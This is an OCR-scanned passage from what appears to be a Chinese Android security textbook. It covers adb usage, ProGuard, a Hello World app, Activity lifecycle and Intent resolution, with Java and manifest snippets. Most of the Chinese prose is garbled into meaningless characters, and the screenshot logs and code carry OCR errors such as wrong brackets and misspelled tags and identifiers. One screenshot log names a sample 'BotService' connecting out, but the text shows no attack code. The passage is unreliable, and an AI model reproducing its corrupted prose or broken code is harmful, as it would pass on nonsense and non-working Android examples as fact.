com.android launcher 128 l% B604 Wum&m& Yes

com.android settings 158 |% 8605

android procestacore 120 "i‘ 3606

com.android.deskclock 189 B! 807

com.android protips 206 (% | |[ecoe

com.android.music 217 (% 8609

tom.androld.quicksearchbox | 226 1'§ 8610

android.process.media 35 B 8511

com.android.mms 245 8512
] com.android.email 268 B |eeny |
[ com.funambol.androidsync |2!0 EI 8615 4
1 — = , . : _ arreay - o
‘+d-®@®Q® .:“ B : ; - B Y]
H - (O8R!

floa] ;

1 QJH- == -.‘-_“.4154, .mmmm_g_wmm e ——

0429 22:47:25. 1 81 ActivityManager Rarting: Intent { act=android intent action MAIN cat={android intent.category LAUNCHER] Alg=0x10200000 cmp=com.adi| |
l';onuu'l:u | 61 ARMAssembl 9 scanbne. uoooommnsm_o%owoz_mooom[un]momﬁn[om«wwmml!lnmw! 1
i 0429224726 V 278 MCS_BOT BotService  Service Started iy

&85 24T '8 Systami P 1 Unke meinle o 1
[ | SF2SIRATIT W TTh  Systumerr 2 lvanet ihetAddress lookupHostByName (inat Address jova: 506) : ;
L D429 224727, W 218 Sustemarr & jva et InetAddsass getAUByMamelmpl(inetAddr ess jova 24) 1
1 B4-2% 2247 IT. W 378 Byitumser A avanet inetaddres gelByName netAddreas fava 32 5)
[ 04 LZATAT. W 278 Sptemert & comadam CutePuspieswallpapar Bot Cient ConpectTase rver (Borclent javats) 1

0429 204737 W 218 Sytemae # comadam Cute Puppheswialinaper Rot Chent Run(BotCient jova 63) |

G- 29 IIRTIT. W TR Sekmprert at comadam CutePupplesWalipaoe: BOLSerhce orStertiBotService Javas Ti ‘

G2 IIATET. W TR Sydomar ¥ android app Sordce oastar tCommand(lervice java4l€)

2.11 Android SDK $£4i£f) DDMS T_E

2.3.5 adb
adb B —A~% P - IR % 25 % 7, FF A Android 185400 28 B 1 90 R A HEAT
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04-29 233102:25 D 730
Al 04-19 23:02:46 D 739 Androidi Calling sein ertry com.android.comsands.ps. Pz i
| 04-2% 23:02:15 D 739 Radroidis Shutting dosm VM B

04-29 23:02:16 D 739 daivibvm GC_CONCURRERT freed 179K, 71§ free 29BX/1004E, oxtma! ]
Jil 04-29 23302:16 D 739 dslviksp Debugger has detached; cbject cegistry had @ entries |
) 09-29'23:02:06 '3 T30 ‘Androlaby NOTE: arised cf thresd "Bindec Theesd #5% falled

Androidie CheckJNl iz OR

04-29 23:02:20 © 137 dalvikvm GC_EXT !MIAU.._OC freed 103K, 508 free Z96IK/SEISK, exte

H
g 4
Il oo 330290 @ 500 melhere einf derauln kavmept SR e unEdkevehend | ques g ohes
1l 0925 23:02032 5 1 Activizyl Stacting: Ingest | Efteasdraid. ategt osctdee MATN mat=id) l

N ‘ W=3i 5 u SavE. ESL
[ g ; g
a2l : k% oo
1 i l
| G-y 3 - & 2y L [
 Ieqas Suhinoms ’
o - s ¥
- & buid.prop 1602 20110203 2} ," ¥ o3 1
L 2011-02-03 "‘* "
| P& fos 2011-02-03 ‘
| P @ framework 2011-02-03 ! "_‘ -
b & lostefound 0120629 2 -’ B
b @& media 20110203 2 ‘:"' . . ,:: M
b @t 00203 2 » h
| b 2011-02-03 l’ g = |
| b @sbe 20110203 -T, r'(_=-[f~ n geieas :
..’1 — et t.,,-.,, S T L3 =Y
= e

% 2.12 Eclipse ADT - ff) DDMS #RE & O

H, ¥EH=H2M: adb JF & HFE (B)/sbin/adbd 2 ), 7F Android 1% &
WA LiEfT; adb RS, EFARFRS (B ABER) EEfT; EPmEE
FF, fadbakddms TR, FHFEETEFRRSE L, EH adb Hﬁ%ﬁ adb 5 & Bt
IR o

i Bh adb AT LU adb shell ZERIAR R & FPATR B R4S, M%% apk
SCHEC | REUHER OB SIS BB ST ) SO, IARHUITH AL shell 47
4O, BUURF EiBFTHY adb shell #45 root KR, AT RAVHRIBIAS FROMEMTSCPE, B
ﬁﬁ%ﬂgﬁﬂ?ﬂmo MR, FEELIRE L, adb shell BRINEHEE—MH PR, HiE
(EFA PRAYThRERRME , X F— e U 1 U A AR 0TS

i/ adb AT RABATH) — e FE L LK 2.5, &ML ES RN, hup: 7/
developer. android. com/guide/developing/tools/adb. html &£t ft) SRy

© apk SC{4B) Android IR F A9 &AL, B—1 Android 1 FH R ¥ 22— L. apk i R4
B R4 3, — 3 H T

© Hfth shell f54>, W—LE% FIAY Linux f74>, R s, od F, —FHE

© HPBPRA A ERESRE Linux #HEBE, —F&E
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F2.5 FEMadb <
i adb 4>

adb [-d] [-e] [-s <B&FING > ] @, HTHEadb FPtw, 44
KA adb f5 S Z A~ Android i % BB BRIZATHY, -d 1T T4 2 My S AT B9 B ARiR
&, -e WU FR R A4 B B AERLILS 3T

adb devices, T R/RATA B L ER Android ¥4 T LS E 51 5,

i %
WSS URETHRARE, MBI (offine) FZEL (device)

adb-s emulator-5556 install helloworld. apk, FiF7E485E FF%15 A9 Android
LHN HEF (apk) W LN R, X BB helloworld. apk 2 7% 38 7515 F emu-
lator-5556 FIRELHIAE -

adb pull <remote > <local > fil adb push <local > < remote >, adb pull #f
BRI & E 0 < remote > FE 245 5 M9 34 2 i B A Hi R AL < local > B

W IR IEREIT | 1o adb push #54H0 AR < ool > MBI 0 S AL MBI B SR 4 09
< remote > MR T
HEHERFEL adb logeat, FfF 7€ FF_E 4T EPRLAUL 85 ol & 119 A AR R
ATAETE # shell 54 adb shell <command >, FF7EBII Y B0 HATHE E 1Y shell

%, Bl adb shell ps ¥ BB ks & LiEfT RS R

adb shell sqlite3, FFJg SQLite ¥4 B A A S 47 TH., B sqlite3, 8
i sqlite3 447 T EL AT LA TS0 5 sk BL 9038 45 F 46 |- 19 SQLite %HE FE

K2 SQLite ¥

2.3.6 ProGuard

ProGuard J& Android SDK #{:A{CHSIRE TH., T Java Z AR A 5 B S
B, PTG AR TR, BATACHEIR VS 2 B LA Bl R 4 i B — M RAF Y
Ji#: . ProGuard T B i bk — 2L FIROARISAE RS . AR RERIeR B &%, SEHE
RBESS . A AR RIThAE, SORERT LA 5 A AE X IR PR F b 130 6] T P H#E
FEZHE, WIARIRP RIS E 2R B, ProGuard HIRLTE LIRS LT -

1) FHIFLERH SDK, fFIHMA SDK GI@H TR, fE/FSEHMITRER
VERF, FTRES BRI, NS EIEE A N IR 6 A9 SDK B2 R RHA, 24
THEHEDEDIETR 4,

2) ST R R IE AR AR SDK G, MIFREEHHZ TR, IUT T iEm
A L BT —4 Android API fiiAHIZE, SR e B\ SDK A< A& I Y APL
JEAS :

D \eclipse \workspace > android. bat list targets\

3) {dFHAT kY APL REAEE BT Z ATRIEE M T/, ardtn T

D \eclipse \ workspace > android update project —name Hello World —target 3 —
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path D \eclipse \workspace \HelloWorld \
4) ERIEMTERERT, PUT ant 4
D \eclipse \workspace \HelloWorld \ ant
5) MEeAH . properties SUHF, BEINANTFANHD .
proguard. config = proguard. cfg
6) ERRMERGIFLE, LT

ant release

2.4 “Hello World” & BREFIffE

ELFIE R “Hello World” NAER, A LAZAZ Android TN HEF
&SR, BB —4 “Hello World” [ FRF, HEFEITIF Eclipse
Wi, VTR APL IRA IR E B AiFE Hin (@A) APLIRA, WEtRX R
Android REthRAS, N AFEFAASRAEFT AT Android A RS HiZ1T), RERA
NARFEMEE. ERRIETRZE, 8IE/ Android 71 H B9R B & RS2
IF3E 2.6 5 B%, Had/res HFE T B8P X 14: AndroidManifest. xml Fi
strings. xml X} Android &2 ERAEERE X,

 %2.6 Android I FER B SN

o S i R
sre FERCN IR IR 34, A, HelloActivity. java C{FFERU T %3043k
gen FRIS E/res SCHFIE P B VE IR S 1A AR AR S

Android 2, 3. 3 7 B AR Android R 4EhRAS ) android. jar SC{4:
assets 7R T ) 7 F R PR 48 2 A B At S/

T4, BITNAREF, fFil Android N R F %3, BN apk UM, LAK
R PR 41 2 5 1 classes. dex 3C{#F

IO PR P B 6 B RSP, 4B AR Rt (layout) . BREECHF (BP value,
INFRFERSE) BRI (drawable) %, fiiJR . FHF&8 LUK fhaY ¥R E XA
xml 3, GRIFNRAS B e XL RRRA R 2 (R class XfF) KER
res I HE AR B BEUR 1D, FER PRSP B R (A Java B FIBTUR 1D, BIATif[R)
XUEYHIR I, He% RAETERT strings. xml SCAFBERNGER, B B3 TE X
REFRFE TS, MRENARFIUERFFRERRERXFS, R
e A R AL A ) TREBEA BRI L FHHREL, FEIERIME

A E X T Android [V FHFR & FP 44 (40 Activity, Service 1 Broadeast
AndroidManifest. xml Receiver %) . {58 . FIHMR AR E AAR, 8 74<# 32 (R 57 API 42
PR, LA B At 7 FH AR R 1 0] A R R AR e 2 1 A AR

proguard- project. txt FHF ProGuard ffC & {4

bin
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2.4.1 iAiE “Hello World” 2%

ATt 547 “Hello World” TP IR, THEESTHRELSE, ILFE
—~ Android i FIFE I BIAZ O ER2 Activity ZH{4

Activity B—/NEM )RR RT, ZAGETRERERAP #TRE, Fi0,
Bk Twitter BT, FH P 5 A K-S F0 2R Y B 4 T o

A F— N RUL, 2l 2 Activity HEHIAL, B—A> Activity B2
Fer b BRI —A-FE, BXTFE RN HRRFRB, Ll “Hello World” 25K
@, @Al LA RE - Activity, BIHA —FHEERFE, HTER “Hello World,
HelloWorldActivity” 47 &R, F2IF B ohEt, & EB) R EiRFAEFTE logeat H O
5 A “Hello Logeat” HE(FE.

& 2.13 B/~ T HelloWorldActivity ) 5F % B/~ F1, H IR RS E 4 Fis.
B, EXTH4%L “com. androidsecurity. helloworld” , RJG, S AZEFFHHRI
REZE, AR FAR, 1 “android. app. Activity” &, HAbISHRTF N FFE
FFHITIRERR K, G0 “android. util. Log” 26, WNRBRFATEHEINEE, ALUAFA
72, Activity ZHAE, FF N F R 7 76 5 b B R AT MR 4 44 5k UL, A< b F A2
FFH) Activity 28 (Bl “HelloWorldActivity” 26) TFE4kRIZEI, HEELEM on-
Create( ) J7k, FEH N H & X HThEE, WiREF#HEBRE UL M50, AR

B 2.13 HelloWorldActivity 5[
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] logeat & M fi tE H B 5 8. B&E L B/ Ul 57 M4 J5 i i setContentView
(R. layout. main) HEESLH, WRBFE LN FEERAME, Al dsetContentView( )
HTENENRREER AT AANRE UL /30, ks R. layout. secondlayout /E 7
setContentView( ) FIZ%1, Bl Z4E secondlayout. xml 77 & 34 £ X HI A5 B 5 A H
I B Activity R, E3CHF R 2425 T —F7E Java (UES 5| FE HE xml X
R AR, Y THE S xml XHFFR Java 52 BEFEABTE. AL
B4 WE)s, #F log. v ( “Hello World”, “Hello LogCat!™) J5#ka] H & X4+ %i
i “Hello LogCat!” HEFE . RHEMEHA HERBAH L, WiFiEK (debug)
L (waming) %5, Logv HERBATEARAFAMHEHER B, 7E log v
(“Hello World”, “Hello LogCat!”) &%), “Hello World” & HEKFHHr%,
“Hello Logcat!” ZAHMN HEFHHE, BWMZ2BEFR.

package com.androidsecurity.helloworld;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

public class HellloWorldActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) (
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Log.v(“Hello World”, “Hello LogCat!”);

Ai%E: 4 HelloWorldActivity 5%

5 % S SR/ AT AL B A SR R S M A XML SO E o FAS T f i 69 1
T HA — Activity, EILBEX T — R, B)/res/layouts/main. xml 3
. ZAREBCEE S fim, AL, ZHRRAT — 1M AA 5 Linearlay-
out, FFEH AT TextView A4 Bn XAE R, Bl @ string/hello 45 ff i F 72 ¢
BIRTEETEL N “helle” AERHFRE, ZHAERTE/ res/values/strings. xml FE4F 2
e L, mRIEE 6 fim. WMABBEANEXLTHANFE/AH, HEREN
“name” H)FAFE “Hello World, HelloWorldActivity!” FISZ4ATFERAR B4 K “app_
name” [ “HelloWorld” , Her, AFEZ KA “app_ name” 4T % Manifest. xml
5.

& 2. 14 fif/n A Eclipse # {4 i) Java fRE FAERIS E 0, ME SR, Z5
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<?xml version=”1.0” encoding="utf-87?>
<LinearLayout

xmlns:android="http://schemas.android.com/apk/res/android”
android:layout width="fill parent”
android:layout height="fill parent”
android:orientation="vertical” >

<TextView
android:layout width="fill parent”
android:layout height="wrap content”
android:text="@string/hello” />

</LinearLayout>

CFSEL S  main. xml X4

<?xml version="1.0"” encoding="utf-8"?2>
<resources>

<string name="hello”>Hello World,
HellloWorldActivity!</string> !

<string name="app name”>HellloWorld</string>

</resources>

fEBEL 6  strings. xml 3C{4

AT (HelloWorld. apk ) FEREIARJE 3h 2 J5 B e 3B AE AR A0L 28 b, Bl EDITIT e
FF2F 1 Activity, HL5E/Z com. androidsecrity. helloworld. HelloWorldActivity 28, 7
BB, % Activity 2@ 1044 “ com. androidsecurity. helloworld” #5| H i
TR .

il

oo = - =
(15, rotbems |6 yavator (5 Dvciarssen [EAERSSSETE A ) E!iﬂv'ﬂ'g' 2
. R e o PESTRRENIR N e T T Rl e B £ — -
[2042-05-91 11:54:11 - HellloWorld]

[2012-85-91 11:54:11 - HellloWorld] Android L

[2012-85-81 11:54:11 - HellloWorld] odb is running normally.

[2012-95-81 11:54:11 - HellloWorld] Performing com androidsecuirty.helloworld.HellloWorldActivity activity launch

[2012-85-91 11;54:11 - HellloMorld] Automatic Target Mode: launching new emulotor with compotible AVD ‘device-1'

[2012-95-91 11:54:11 - HellloWorld] Lounching o new esulator with YVirtual Device ‘device-1' .

(2912-85 91 11:54-15 - Emuletor) 2012-85-81 11:54:15,259 emulotor arm[9846:1167] Karning once; This opplicoticn, or a library it uses, is using NSQuickDrowy
[2012-85-91 11:54:15 - HellloWor1d] Mew emulator found: emulotor-5554

(2012-85-91 11:54:15 - Hellloworld] Waiting for HOME ('android.process.ocore') to be lounched. ..

[2012-95-91 11:54:58 - WellloWarld) HOME {s up on device ‘emulator-5554'

[2012-95-91 11:54:58 - MellloMorid] Uploading Melllomorld apk onto device ‘emulator-5554'

[2012-95-91 11:54:58 - HellloWorld] Installing Helllolorid.apk.. .

[2012-85-91 11:55:11 - HellloMorld] Success!

2012-95-91 11:55:11 - HellloWorld] Sterting activity com. androidsecuirty.helloworld.HellloWorldActivity on device emulotor-5554 adeat
[2012-95-81 11:55:13 - HellloWorld] ActivityMenager: Starting: Intent { acteandroid.intent.oction MAIN cot=[android.intent.category.LAUNCHER] capecom.a

i ittt SV AT ST Ry

— — - ] |

v

2.14 HelloWorld i FAR FF & 170 B9 6 5 8
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Rz IR P 2B Logeat AR45 AR B UMM 2. 15 FiR

P BB BRSO (] g A
ALE lmn\ %ﬁtliag[ms"mam.lm.. Uhocation Tracker |9 Netwock Staistcs | (@ File Explorer 31
. v'murwsssuawm Al Online “device-112. i, TR T RO NI B O O PR

com.android.phone 118 8600 ! =

com.android.inputmethod.pinyin 113 8601 |i] Logcat Message Filter Settings

com.android.launcher 144 8602 " Filer logcat messages by the source's tag, pid or minimum log level.

SYSIEMn_process 61 8603 g Empty Helds witl match all messages

com.android, systemui 121 8604

com.android.settings 161 8605 —
« androtd.process.acore 181 BS06

com.android. deskclock 190 807 || bylogTeg: WeloWord

com.androld.protips 210 ¢ s608 | by Log Message: |

com.androld . quicksearchbox 226 8511 " by PID: | e

com.androld.music 237 8512 9 ="

com.andreid.defcontainer 247 8615 B by Application Name: |

android process.media 256 8617

comandrold.email 269 8619

com.android.mms 287 8621

COM.SVOX.PICO 31s 8622

“ﬂ-.l B ' !_\: 253 ue Accepts Java regenes. Pro -_:-g»-f* pd .17:\:-.!:; o Text to lirit s¢ope.
LAl messages (no Nm\) -
m- LIk TERN L, ,,,,,_ = 1 O P T A
— m&a&ﬁaw?w ‘coe.androtdsscutrby. hellonorld AR NI mm.

B 2.15 HelloWorld i FFEF Y Logeat Fr4i% B it 18

2.5 ING

A FBHIT T Android FAR KK P EZE, W57 T Linux 4% K Android
REME2NH . 1HE T Zygote Fl Android ARG M)A 3132, #EE T Android FF %
MHXFFE, N4R T Android SDK £t & F TR, &/F, L—#AHK Android 72
FF R, 587 T Android 0 B 55 IR F M4, B4 TR, SN IXEBAR
Android # 4% E & FIARIE
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AEEEG Android N HFEF HIAR LG, 1AL HIAR P B9 &SRR (4, FRfH
i Logeat T B #7~ X L4 PHEN R P iz Tif R AT TAER. bR, AZEHiTie
Android [i7 AR P 4= i JA 301 69 451> Bir B, FEAS BEGRORAT, 12K ARAS 1 4 Hh 1)
Android S FIF2FF BB R PF, A2 WG AT LAGE X LE 28 14, DA e 2R gk L AR P
A A BB B

3.1 MAREFAH

HAYAY Android N R FEFE A EA FEMIIEE, Flanp BR8P (Clock)
N, HEAINGEEE BREE (BX) ., RERFFFZEDR, BN
B, FEE=EAARNFEERRAE, BT X WRThaesh, HInakE e
A5 i R o5 A AT AR, FHLASE A a] . 7E/5 & I8 1T Service 41 14 4 45 [l PP Th BE,
VAR [F] N B AL R B B R A 4 . Bk, BPE R —~ & #A9 Android B HREFF, &
A2 AES . Android i IR ¥ A WURRHF: Activity (7%3f)) . Broadcast
Receiver (J $&#:UL28) . Content Provider ( JZ&RMALE) Fl Service (IRS5) . XLL
AHERERR R “Intent (BE)” HH B AR FTH LA E, o F AN AR R
FIAMAEE . B 3.1 fis, ERAET Android B TR F#) EBA M,

(om0 vviemmr ) vvismem )

Activity

TOWEETEeD 7
cast Recerver

o L R Mg e o 7
B 3.1 Android [i7 FI#2 P 444

3.1.1 Activity

HEA b Activity 5t P B 00 5% 5 2 4T AT 00 38 T A9 3 S AT, J& An-
droid [ FHFEFF I AT LA P #£ 01 ( User Interface, UI). P2 IR s P A
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£~ Activity, B—A> Activity XN — MNP BB EINREZXEHNFREDR A
T, FEXLE Activity Z[H], FF AT ABER#bI#: . 78X Fh JC4E VI R 00 P AR5
T, APBELUERIET (BRADERIS) BN ABRFP AR Activity, 1 H,
F P& ] LA Intent (3¢ Intent (N AEAZFLER TP ESNAE) fashHEHA
MR B Activity, TNE 3.2 ff/~. Android i R F B SIS AT HF —1
Activity, #aLi% Activity, FIF AT DAZER T IR R Activity SR {4 2Z [E] 14 .
—MEOL T, NABRFERSIR T —Fh A P RE A [ B | — Activity 5 #9757 K.
B2, #Eit Activity f24EH) UL A m, HABEER RN ARFHTEME, #
RN ARSI IIGE. MARFS, —L&L% LK Activity FRAFIFI0F:

® [ R PSR A,

® fllEE—t e FHRAFAY A

® i o FE T HR A & BE R A AL .

3.2 Android 7 22 8] ) Activity 3¢ H.

DL 78 W B 2 A Activity A . MM HBFRE3IE, £F —4 “main
(F)” Activity #)530, 1EHR Ul BRfERwL, 2HAERF.

Activity KR TR 2R HE 2~ F M, BFFF & & 7 LLU{# FH setContentView
(View) PR¥(BIEE UI4H, WiEREERFENMG R B8 B E XK Activity
K, HETEYR “Activity” K, RGHEEE XK Activity FRFELH (FH
5) AR AHR A [ R AL, X LERREISTE Activity B, A (IEE. K-
MEANRSE), LARAHERA RS ERHFHAT. Activity 2875 R 2 /9 [1F ek $L, 1M
OnCreate( ) #l OnPause( ) PRKCRH P EE RN, 26 FH I E A B K5 .

® onCreate( Bundle) BR%{: 7E Activity ¥IERILET A, B4 Activity 26#0E E 5
PIxXAS R, EE, TEZEREAN A setContentView(int) BREE X Activity i UI 77
R, IR findViewByld (int) , FRERASHBYE RS HA#HTRE

® onPause( ) A% : HH B Activity B, EFIMLEREL, FH7ERBUABAT Ac-
tivity RS BFHEERIE, DR MEERRRE,

BAh, 7E Activity 2erp, BF S H A EZERE, 1 onStart( ), onRe-
start( ) , onResume( ). onStop( ), LA onDestroy( )., FEARFGEE, 1if Activity (Y
AR, A28 X L pR %

EAGB 1 B, EXT AR Activity 28, AN “ActivityA” , ZHKER
YRAR T Activity B3 (B Activity 28) , X T —SRAARATR, K5, EEHL
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BL T ER PR AR5 B E K%, JUH R onCreate () %k, 7E onCreate( ) ¥, Ac-
tivity A 238 i3 i setContentView( ) 1 findViewByld ( ) g% E X T ActivityA ) UI &
[N

public class ActivityA extends Activity {

private String mActivityName;

private TextView mStatusView;

private TextView mStatusAllView;

private StatusTracker mStatusTracker =
StatusTracker.getInstance();

@Override

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity a);

mActivityName = getString(R.string.activity a);
mStatusView = (TextView)findViewById(R.

id.status _view _a);
mStatusAllView =
(TextView)findViewById(R.id.status _view all a);
mStatusTracker.setStatus(mActivityName,
getString(R.string.on create));
Utils.printStatus(mStatusView, mStatusAllView);

}
BB 1 ActivityA 255CF 1) onCreate () BRET

£ Android N FIRRFH, T Activity # 75 Z7E Manifest SCFA R, 75 UK
AREERGE P EM, RAHM Activity Wi TTH: 85 30

£ Manifest U7 B Activity fYSEBLANFRASBE 2 Ff 7R, fd < activity > R
PR Activity 28, ZHR% 2 < application > FREEH) FHREE . 7E < activity > bR&EH, fE
€ L Activity B9JEYE, /B “android; name” FITFH5E 7 A Activity [9254 .
WAk, 7E <activity > 5% H, @B A] LAFL S Intent i JEAS (iH 3T < intent- filter > FRAE
E X)), VAR Activity 248 FH ) e 38 .

<application android:label="@string/app _name”
android:icon="@drawable/ic _ launcher”>

<activity android:name=".ActivityA”
android:launchMode="singleTask”>

<intent-filter>
<action android:name="android.intent.action.MAIN” />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
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<activity android:name=".ActivityB” />
<activity android:name=”.ActivityC” />

</application>

RSBt 2 Manifest 3C{F AR Activity 75 BH

Manifest SCI475 2 A N AR P B Y Activity 8 —A B — N EEIA L. InfUEEL 2
B, ZMN FBBRFIEAR =4 Activity: ActivityA, ActivityB I ActivityC, FE 7, Activ-
ityA /2 F (main) Activity, ZHFTHN FHFEFRT, % Activity #5330, T H, ActivityA if
HRE T — Intent 1745 ( < intent-filter > $R%5) , H action (ZME) FM category (£
) Al EM “MAIN” 1 “LAUNCHER”, iX#, B{A]LLik Android % 5t f)
Launcher® F2 ¢ R 155X 1 Activity , 4K i {5 P BERS 5 IS ShiZ B AR .

Manifest 3C{4 P B H-Ath Activity J& I TEARE B E SR TRMYS: http: //de-
veloper. android. com/ guide/topics/manifest/activity- element. html,,

BT Android i FHFRFF AT LA 2h HAB R AR 7 89 Activity, PRI, 75 Z XX s
FE BYRE N HEAT IR, o2 PR L {7 FH A2 7 XT 46 %€ Activity M5 SBE ST . 7E Man-
ifest SCAFA, 38 O TR B AN FR O SE B0 X X A 25 N R 2 7 3 3l Activity BYFR . oAt )
FRBFTREMM “use- permission” FUFRARE, HRIFAHMARIIGEAYTA] . Activi-
ty A] LA < activity > #5325 “ android ; permission” JE IR E Activity FIFLFR, FR
il ELAt N FH X 1% Activity W ah . 24 EH Ath 57 FH #2 7 8 B Context. startActivity ( ) pF %
a}, Activity. startActivityForResult( ) pREUS 2/11% Activity Bf, RHESEFHAR, &
FAEAREBZIR, Ja3h Activity BT RSBHEL

3.1.2 Intent

Intent & F 38 0% EoAt o IR R 2HAF (40 Activity, Service f] Broadcast Receiv-
er) HUOHEMA, kR THEMITHESIRIE, {58 Intent, Android RGEMLET —
FHEIZE AT 2 )5 B N PR P 4L Z [ SR E HILR , X Fp LI BE AT AR [Rl— /4~ R P AR
R BEAT, Al IFEAR BN R P A Z HiE T, Intent 4 Bk R — /M2
EEEBHNE, X (E R URREPITHERIER S, 3& X T Broadcast Receiver
L, Rl R & AT TEANER .

PLA 2yt 4R AR R, EEXDALHBRRFT, B =R RE Activity, —4
HATFRRAXENE, B—ITHTERXEANS, BF —DIIEHE Activity, {14
F PR RARIE B2 1 SCEE S . 10 FHAR il ] LA i & 26 & A SCEE kR s TR 1,

© Launcher, B[l Android ZRZeHY N FHFEF G sha%, J& Android RGN BHN FH, T BREESE Android
& EMETA N AR, — B8
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Fft NIt =S 30 E . i 3.3 Fix, dEid Intent A LILEF R EERE B9 Activity 2
B4, RN HATRE :

4N WP 8 W s

"

F 3.3 Intent fHE:

AR N AR F A, & Service, Activity BY, Broadcast Receiver, % i% Intent X
ST P R & A AEE], WER 3.1,

F#3.1 %% Intent B R 4L

N AR 1 I
Context. startActivity( )

Activity Activity. startActivtyForResult( )
Activity. setResult( )

Context. startService( )

Service
Context. bindService( )
Context. sendBroadcast( )
Broadcast Receiver Context. sendOrderedBroadcast( )

Context. sendStickyBroadcast( )

Intent X% (T EMK) B—FEEREH, BHRTTHRFMEEGFEBHIITH
BEGR, FEASWBIEEANE:

® HITHIZIE (Action) .

® HUTEIVEMLAEEE, L URI ( Uniform Resource Identifier, 45— %% IRFRIR)
BRI .

2 LA Intent A3 B9 B 1E/ B X EI B F -

® ACTION_ DIAL content; //contacts/people/1

Kt NS S S BRE IR R 588 b, RS,

® ACTION_ DIAL tel;123

W55 123 BoRTERER S b, SEATRE,

A, Intent XA R LAREEHADAIE S, 20T F7R

® Category: F8EPATHIEML TS B, M4iXE N CATEGORY _ LAUNCHER
i, F7HE Intent | Activity 7E7E T Android &4t Launcher B2 o

® Type: BAHTE/E Intent MBAEALAY, THRGEHE.

® Component: f57E4LFHIZ Intent [ HARE AR, AELTL, Wi E A
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B, RGi2{EH Bundle H iy HAh(F S HE T ELRY BARA M.

® Extras: [{fiNfE B S, {EH] android. os. Bundle 233X E(Z B2,

HERLX LB, Intent RIS RN SFIIRIEFF, B0, Activity AT LA[a] 65
P AT (e-mail) &k — & B FHEAFHHEA) Intent XF 52, 5 H A M.
Intent EZ P HPAFPARE LR, BFHEAH Intent FFZZEHE ) Intent,

AR Intent FBIRRTE HT/TEBIEOAGFBHR (TN HESL) . —BIFL
T, BT ARRHARE LN FARFNEAR 2R, B AR A Intent 58
H FHAERI— 1N RPN ERA 28] . BLAIAY) B 2025 AY Intent AR ZANT -

Intent i = new Intent( this, < activity_name >. class) ;

P, FREC2EEUAY Intent FHT30E HAA R N 2 Fr (944 Bil4n, B8 AR
F2JF (Photo) [ EFHRFNHFRF (e-mail) kel FHEAE Intent XFRR, M {EH]
PR AL o XF2EAA Intent AFFER M BIRAARI AR, MREL RS
f#tr, $|RBNS5ZICEH ERE . Intent fFATHL | 258 i 4 AR LAY Intent 1 JE
frsk B, Intent A UEAS T EMAGIZA M REGS AL BLFLL Intent X R . RELHF Intent
X B[R L e AR AT A, ATk H AH VC FC A E AR 2E 4R 32 £ Intent Xf 52, Intent i JE
vt T —APHLE, (LA AT LATS A AR PR Intent Xf 52, X AT LA FH T BR il %
FUOH ARG . B, MAFERARE Intent IEIERSET, ARAE ReEERERE
RIAY Intent X R, (HA — S FEEBNE, AERB T Intent T IEAF1E A58 LRI
ZEFB, FAHABRESHIEREBLAED ntent 25, ML Intent
LS. Ek, TEANAME R E AR, FREGED Intent XJ 45 € 4 {4 /917
], MiE, BiF R Intent X RIZEARABIE. ¥ THENFEL, HLOFLS
58, 4XTAREM A Intent XFRAEE, F A ENRA T RESHORE A A

7 {4 e A Y Intent ST RFFIE R0 »

Intent I = new Intent(Intent. ACTION_VIEW, Uri. parse(http://www. google. com) ) ;

MR GUKG Intent ST R AT UEAFHEAT LT, FR 40 EE M/ HER Intent XT84 (1)
=AFE, WEE3.2, FEL, AEIKIS Intent X R H M EAEE R Intent i IEAF
Hr R AR N B R R

% 3.2 Intent FEE R EHiiAA

Intent 57 B¢ M b
A% PATIE N B F ok B 2 R A 4 TR BRI F 47 #, 10 ACTION_CALL, ACTION_
s TIMEZONE_CHANGED
AT BN A 25 AR MR B0HE , 4% URL A1 MIME 5 Fh 2 8 g 8048 . @l tn, ACTION _
Dath VIEW S 6T URL 37 g9%CHE . ACTION_CALL 175 B.4b 38 5 H12C IR A9 tel: data
AT ) R

o A S 4b /R 55 Intent XF 52049 B bR 1426 51 &9 B i {5 B, — A% % CATEGORY _

P HOME, CATEGORY_LAUNCHER, CATEGORY_BROWSABLE %
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& 3.4 FIE 3.5 Baiysr 25 (Phone) KiFHFRFAMNIKSS (Browser)
FHF2FF 9 Manifest. xml U2, XA AR F#B 2 Android 2R 45 P & 14 7 F 72
Fro B, HAE R R F AT LAGE BRI T & MM S M 5T . Phone /i FHFR P2
T ZA Intent JHIEAF, AT LALLIEZ A Intent ZE, G5 “tel. 7 ZEEUIEHE A KB
Y android. intent. action_CALL Zh{E. 434N AR TR E & T HiER, % Phone
N AR P Rk RBOZBUE 2L A (B iESHS) A9 Intent X4, Browser [ij 2 F12
{7 HF 4L android. intent. action_ VIEW Zh{E ] Intent 1 JE RS, {8 HoAth i F 72
J¥-RE 8% ] Browser [ FH#2 /7 &% URL ik,

EEST

3.4 Phone [if HF2FF Y Manifest. xml 314

<acTivity andriaidither=="2style/BrowserThem=" andriidilebel="#string/application_name' android:name="BrowserActivity”
<ircenc-filter>
<acticn androidiname="android.intent.action.VIEW" />
<category androidinama="android. intent.category.DEFAULT" />
<category asdroidinams="android.intent.category.BROWSABLE" />
<data androzd:scheme="http" />
<data androidischema="https" />
<data android:acheme="about" />
<data andzoidischeme="javasaript” />
</intent-filter>
<intent-filter>
<acticn andriid:iname="android. intent.action,.VIEN" />
<category andsoidinarms="android.intent,category.BROWSABLE" />
<category ar are="android. intant . category.DEFAULT" />
<data angroid:scheme="hetp” />
<data androyd:schems="https” />
<daca andzoid:ischeme="inline” />
<data ancdrold:imomelype=“text/html" />
<dats android:mimelype=“text/plain® />
<data androidimipaType="application/xhtml+xml” />
<dats andzoild:ipucalyps="application/vnd, wap.xhrml+xml" />
</intenc-filcer>

3.5 Browser i FI& 7 1Y Manifest. xml 3C{4:

3.1.3 Broadcast Receiver

Broadcast Receiver ] F4bFH Intent Xf 42, % 20 (3 3oL 1T ) 4 42 A9 Intent X‘j' S48
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ERIEIE, 1EHR Android [ HIFRIF R R A 4 Z R BB fE M —Fp =X, EWREI 3L
15 Intent X152 Z Hif, Broadcast Receiver (R HFHEIRIRE . % Z /5, Broadcast Re-
ceiverzl%#hﬁﬁﬁﬂ’ﬁjﬂ’ﬁ Android G5 FN FFR AR AT LAXS #b) % Intent X% . A~
